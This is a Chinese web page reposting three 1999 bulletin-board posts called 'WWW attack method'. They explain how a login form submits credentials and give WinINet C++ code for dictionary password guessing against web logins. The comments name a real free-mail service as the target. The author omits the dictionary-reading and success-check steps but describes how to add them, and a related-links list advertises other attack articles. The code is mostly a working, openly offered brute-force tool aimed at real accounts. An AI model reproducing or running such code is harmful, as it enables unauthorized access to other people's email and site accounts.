WWW攻击法
首先向spark说声对不起
本来很早以前就想写这篇文章的
可惜那时候刚好赶上换工作
好了
闲话少说,言归正传
这儿的www攻击只限一般站点的攻击
对于采用安全连接的站点还没有试过
一个很好的实践的目标就是各种支持www的免费邮件
如果你想用它来进入黄色站点
那也没办法 :)
一般的站点中
如果你想浏览某些需要授权的内容
首先要经过身份验证这一步
就是让你输入用户名、密码
然后浏览器会根据html文件中form的定义
把这些信息发给服务器来验证
一般的办法是get或post
比如在263中
请看下面的263 html源代码
用户名: @263.net 口令:
如果点击"请进吧!",浏览器会向服务器发送一下请求
post /prog/login/?user=aaa@pass=bbb
既然知道了原理
那我们就可以模拟用户点击的过程
welcome to nankaibbs发信人: bbb (九万里风鹏路), 信区: syssafe
标 题: www攻击法(二)
发信站: 我爱南开站 (wed nov 3 08:45:57 1999), 转信
微软给我们提供了一套现成的api让我们可以使用http协议而不需通读rfc文档
现在
我们就可以发动进攻了
请看源程序
不想灌水
我把该程序中读字典的部分和判断攻击是否成功的部分省掉了
但都作了注释
const tchar szheaders[] ="accept: text/*\r\nuser-agent: urlhacker\r\n";
//pserver是目标主机名
//cszpostdata就是剩下的部分
//比如攻击263的免费邮箱,那么
//pserver="freemail.263.net"
//cszpostdata="/prog/login?user=tom&pass=fuck"
//当然,你要先读字典文件,读取pass的值
void attack(lpstr pserver,lpstr cszpostdata)
{
// open internet session.
hinternet hsession = ::internetopen("urlhacker",
internet_open_type_preconfig,
null,
internet_invalid_port_number,
0) ;
// connect to dest.
hinternet hconnect = ::internetconnect(hsession,
pserver,
internet_invalid_port_number,
"",
"",
internet_service_http,
0,
0) ;
// request the file from the server.
hinternet hhttpfile = ::httpopenrequest(hconnect,
"get",
cszpostdata,
http_version,
null,
0,
internet_flag_dont_cache,
0) ;
// add request headers
bool baddheaders = ::httpaddrequestheaders(hconnect,szheaders,lstrlen(szhea
ders),http_addreq_flag_add);
// send the request.
bool bsendrequest = ::httpsendrequest(hhttpfile, null, 0, 0, 0);
// get the length of the file.
char szbuffer[80] ;
dword dwlen = sizeof(szbuffer);
dword dwindex;
bool bret = httpqueryinfo(hhttpfile, http_query_status_code,
szbuffer, &dwlen, null);
dword dwret;
if (bret)
dwret = (dword) atol(szbuffer);
if (dwret == http_status_denied){
//这是另外一种验证的办法,和系统的用户名、口令结合起来
//internetconnect中第3、4个参数就是用户名和口令
//下面怎么做不用我说了吧
}
if (httpqueryinfo(hhttpfile, http_query_raw_headers_crlf, null, &dwlen, 0))
bret = true;
else
{
// now that we know how long it is, ask for exactly that much
// space and really request the header from the api
lptstr pstr = new tchar[dwlen];
bret = httpqueryinfo(hhttpfile, http_query_raw_headers_crlf, pstr, &dwlen,
&dwindex);
delete []pstr;
}
// were we redirected?
// these response status codes come from wininet.h
if (dwret == http_status_moved
dwret == http_status_redirect
dwret == http_status_redirect_method)
{
//被重定向到其它地址,需要重新连接到新的地址
}
// convert length from ascii string to a dword.
// allocate a buffer for the file.
char* buffer = new char[dwlen+1] ;
// read the file into the buffer.
dword dwbytesread ;
bool bread = ::internetreadfile(hhttpfile,
buffer,
dwlen+1,
&dwbytesread);
//可以在这儿根据读到的内容判断攻击是否成功
//怎么?不会!
//试一下手工猜口令,肯定给你一个出错的画面
//如果读到的内容中不包括那些错误信息,就又可能成功了
delete [] buffer;
::internetclosehandle(hhttpfile);
::internetclosehandle(hconnect) ;
::internetclosehandle(hsession) ;
}
welcome to nankaibbs发信人: bbb (九万里风鹏路), 信区: syssafe
标 题: www攻击法(三)—注解
发信站: 我爱南开站 (wed nov 3 08:58:58 1999), 转信
创建一个会话
hinternet hsession = ::internetopen(
"urlhacker",//agent名,随便取
internet_open_type_preconfig,//使用定义的连接方式
null,
internet_invalid_port_number,
0) ;
连接到服务器
hinternet hconnect = ::internetconnect(
hsession,
pserver,//服务器名
internet_invalid_port_number,
"",//用户名
"",//口令
internet_service_http,//http
0,
0);
向服务器发出请求
hinternet hhttpfile = ::httpopenrequest(hconnect,
"get",//可用get或post
cszpostdata,//对应于http命令 get cdzpostdata
http_version,
null,
0,
internet_flag_dont_cache,
0);
加一个请求头,自我炫耀一下,hehe
bool baddheaders = ::httpaddrequestheaders(hconnect,szheaders,lstrlen(szhead
ers),http_addreq_flag_add);
接下来,查询该请求返回的信息,然后读之。
()
下一篇:征服你的Web Shell >>
相关文章:
- · 新版QQ的四个实用功能
- · IP地址被盗的一种有效解决方案
- · 超强windows密码设置及破解
- · 利用微软官方工具批量安装Windows更新程序
- · 解析IBM的EXA 技术
- · 有效地远程管理局域网计算机的磁盘空间
- · XP显示上次光盘内容的解决办法
- · 更改Windows系统中DOS命令行的默认路径
- · Windows和Linux的“鹊桥会”
- · 智能ABC输入法技巧揭密
- · 关于ftp服务程序中不安全因素研究
- · 代理中的“中间人”攻击
- · 更改客户端administrator密码的几种方法
- · 解决IP地址冲突的完美方法
- · 免费电影与在线视频大搜捕
- · 跳板的隐藏
- · MITM攻击 In Proxy
- · 邮件地址保护有巧招
- · Linux下管理磁盘存储区从原理到技巧
- · Windows 2000系统下关闭端口的方法与思路
- · WinXP中的空连接
- · BitTorrent(BT)种子制作教程
- · 路由器端QQ封堵方案
- · 软件路由器使用经典十问
- · 监控和保护Linux下进程安全
- · 深度解析注册表修复不成功的原因
- · F1~F12在Windows系统中的作用
- · Longhorn的优化及注意事项
- · 内网BitComet下载提速方案
- · Q-ZONE技巧大放送
- · Win XP系统中你不可不知的事
- · 为你的右键菜单“瘦身”
- · 利用QQ邮件发网页木马的小技巧
- · 10大国外代理服务器网站
- · 数据库设计经验谈
- · 数秒钟之内破解MySQL的MD5函数
- · Win 2K动态DNS的安全考虑
- · Windows XP六招最新应用技巧
